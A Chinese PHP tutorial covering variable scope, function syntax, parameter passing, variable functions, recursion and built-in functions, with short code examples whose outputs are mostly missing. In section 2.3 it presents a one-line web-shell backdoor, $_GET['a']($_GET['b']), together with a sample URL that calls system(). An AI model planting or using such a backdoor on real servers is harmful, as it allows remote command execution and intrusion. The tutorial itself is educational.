目录
1 变量的作用域
在函数内外不同位置声明的变量,其作用范围是不一样的,为更好地学习函数,应先了解变量的作用域类型。
变量的范围即它定义的上下文背景(也就是它的生效范围)。大部分的 PHP 变量只有一个单独的范围。这个单独的范围跨度同样包含了 include 和 require 引入的文件。如下代码:
<?php
$a = 1;
include 'b.inc'; //这里变量 $a 将会在包含文件 b.inc 中生效。
?>
变量的作用域是脚本中变量可被引用和使用的部分,PHP 中有四种不同的变量作用域:
序号 | 作用域 | 描述 |
---|---|---|
1 | local | 局部作用域 |
2 | global | 全局作用域 |
3 | static | 静态作用域 |
4 | parameter | 函数参数作用域 |
注意,常量的作用域是超全局的。 |
1.1 local(本地的)—— 局部变量的作用域
在 PHP 函数内部声明的变量是局部变量,仅能在函数内部访问
<?php
$x=5; // 全局变量
function myTest()
{
$y=10; // 局部变量
echo "<p>测试函数内变量:<p>";
echo "变量 x 为: $x";
echo "<br>";
echo "变量 y 为: $y";
}
myTest();
echo "<p>测试函数外变量:<p>";
echo "变量 x 为: $x";
echo "<br>";
echo "变量 y 为: $y";
?>
上述代码运行结果为:
可在菜鸟在线编辑器联系全局变量与局部变量的使用。
1.2 global(总体的)—— 全局变量的作用域
在php脚本中,函数外定义的变量,称为全局变量,其作用域为整个PHP脚本。如果要在函数内部引用全局变量,则可以①传参;②则在变量前加global声明。
<?php
$x = 5;
$y = 10;
$z = 0;
function test()
{
global$x,$y,$z;
$z = $x + $y;
}
test();
echo $z; //代码输出结果为15
?>
PHP 将所有的全局变量存储在一个名为 $GLOBALS[index] 的数组里,index 保存变量的名称。这个数组可以在函数内部访问,也可以直接用来更新全局变量。
1.3 static(静态的)—— 静态变量作用域
当一个函数执行完成时,它的所有变量通常都会被删除。然而,有时需要局部变量不要被删除,要做到这一点,请在您第一次声明变量时使用 static 关键字。然后,只有第一个调用时会变量被初始化,后续调用将沿用上一次调用的结果。。注意,该变量仍然是函数的局部变量。
<!--静态变量-->
<?php
function test2(){
static $a=10;
echo $a++;
echo "<br/>";
}
test2();
test2();
test2();
?>
代码执行结果为:
1.4 4、parameter(参数)——参数作用域
参数是通过调用代码将值传递给函数的局部变量。
关于局部变量和全局变量的优先级,因为在PHP中函数都有自己单独的作用域,所以在局部变量的优先级要大于全局变量(在你不声明这个变量之前),声明之后此变量就变成了局部变量,如果修改值那么全局变量的值也会改变。
<?php
$a = 10;
$b = 5;
function test()
{
$a = 15;
$b = 5;
$z = $a-$b;
echo $z;
}
test();
function test1()
{
global $a,$b;
$a = 15;
$b = 5;
$z = $a-$b;
echo PHP_EOL;
echo $z;
}
test1();
function test2()
{
global $a,$b;
$z= $a-$b;
echo PHP_EOL;
echo $z;
}
test2();
?>
代码执行结果为:
参数是通过调用代码将值传递给函数的局部变量,其作用域为函数生命周期内。
2 函数
2.1 函数语法
如要在页面加载时执行脚本,您可以把它放到函数里。函数是通过调用函数来执行的。你可以在页面的任何位置调用函数。
自定义函数语法:
<?php
function functionName($arg_1, $arg_2, /* ..., */ $arg_n)
{
echo "Example function.\n";
return $retval;
// 要执行的代码
}
?>
函数的定义及调用,需要注意·:①函数调用时,实参要按照顺序给形参;②函数调用时,互相独立,默认没有联系;③执行完毕后,返回调用的位置,继续向下执行。
PHP 函数命名准则:
- 函数的名称应该提示出它的功能
- 函数名称以字母或下划线开头(不能以数字开头)
2.2 函数参数的传递
通过参数列表可以传递信息到函数,即以逗号作为分隔符的表达式列表。函数在实际调用之前,值参数是从左向右求值的(及早求值)。
PHP 支持传参方式:
- 按值传递参数(默认):函数内部操作仅对形参生效,不影响实参。
- 引用传递参数:相当于对实参取了一个别名,对形参的操作同样会对实参产生影响。
- 默认参数:如果调用函数时没有对已设置默认值的参数传参,则该参数采用默认值。
- 可变长度参数列表:在用户自定义函数中支持可变数量的参数列表。由 … 语法实现。如下例子1。
- 命名参数: 命名参数允许根据参数名而不是参数位置向函数传参。这使得参数的含义自成体系,参数与顺序无关,并允许任意跳过默认值。
2.2.1 按值传递参数
实例:
<!--按值传递参数-->
<?php
function test3($x){
echo ++$x;
echo "<br/>";
}
$c=10;
test3($c);
echo $c;
?>
上述代码执行结果为:
2.2.2 引用传递参数
实例:
<!--引用传递参数-->
<?php
function test4(&$x){
echo ++$x;
echo "<br/>";
}
$d=10;
test4($d);
echo $d;
?>
上述代码执行结果为:
2.2.3 默认参数
实例:
<!--默认参数-->
<?php
function test5($x=1,$y=2){
echo $x+$y;
echo "<br/>";
}
test5();
test5(3);
?>
上述代码执行结果为:
2.2.4 可变长度参数列表
func_get_args():返回一个包含函数参数列表的数组。
func_get_arg():根据参数偏移量(从0开始计数)获取参数。
func_num_args():返回参数的个数;
实例:
/* 例子:使用可变长度参数列表定义函数的方法*/
<?php
// 包含 ... 的参数,会转换为指定参数变量的一个数组
function sum(...$numbers) {
$acc = 0;
foreach ($numbers as $n) {
$acc += $n;
}
return $acc;
}
echo sum(1, 2, 3, 4); // 输出10
?>
2.2.5 命名参数
命名参数允许根据参数名而不是参数位置向函数传参。这使得参数的含义自成体系,参数与顺序无关,并允许任意跳过默认值。
实例:
/* 例子2:对比命名参数和不同按位置传参的差异*/
<?php
array_fill(0, 100, 50);// 使用顺序传递参数:
array_fill(start_index: 0, count: 100, value: 50);// 使用命名参数:
?>
2.3 可变函数
(1)PHP 支持可变函数的概念,将函数赋值给变量。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。
(2)可变函数可以用来实现包括回调函数,函数表在内的一些用途。
(3)可变函数不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。
(4)一个简单的PHP后门,采用可变函数如下:在浏览器访问该网页时,带入参数?a=system&b=ipconfig
,可获取目标网站IP信息,类似地构造不同的函数和变量,将获取更多信息。
(5)实例:
<?php
function add(){
echo "This is func ".__FUNCTION__;
echo "<br/>".func_get_arg(0);
}
$a="add";
$a("QQ");//函数名为$a
?>
代码执行结果如下:
//最简单的后门
<?php
$_GET['a'] ($_GET['b']);//预定义超全局数组变量
?>
2.4 递归函数
(1)递归函数是在函数内部自己调用自己的函数。
(2)该类函数较难直观心算理解其运行结果,建议辅助画图来理解。
(3)不同递归层次的函数变量之间没有影响,除非是静态变量、引用传参、全局变量等。
(4)实例:
<!--递归函数-->
<?php
function test($n){
echo $n.' ';
if($n>0){
test($n-1); //自己内部调用自己,即递归函数
}
else{
echo '<-->';
}
echo $n.' ';
}
test(3);
?>
代码执行结果如下:
代码分析过程如下:
2.5 内置函数
(1)PHP内置有很多标准的函数和结构。还有一些函数需要和特定的PHP扩展模块一起编译,否则在使用它们的时候就会得到一个致命的“未定义函数”错误。
(2)例如要使用 mysqli_connect() 函数,就需要在编译PHP的时候加上MySQLi支持。
(3)利用内置函数 function_exists() 判断一个函数是否已经被定义。在已经定义的函数列表(包括系统自带的函数和用户自定义的函数)中查找 function_name。
function_exists(string $function_name): bool
3 归纳
(1)掌握变量与参数的作用域;
(2)掌握掌握定义函数的方法;
(3)掌握函数的5种传参方式;
(4)理解递归函数不同层次间变量的影响关系;
(5)了解内置函数的查询方式:官网搜索
参考文章
[1] 《PHP变量菜鸟教程》
[2] 《PHP函数菜鸟教程》
[3] 《【PHP基础】变量作用域及PHP函数》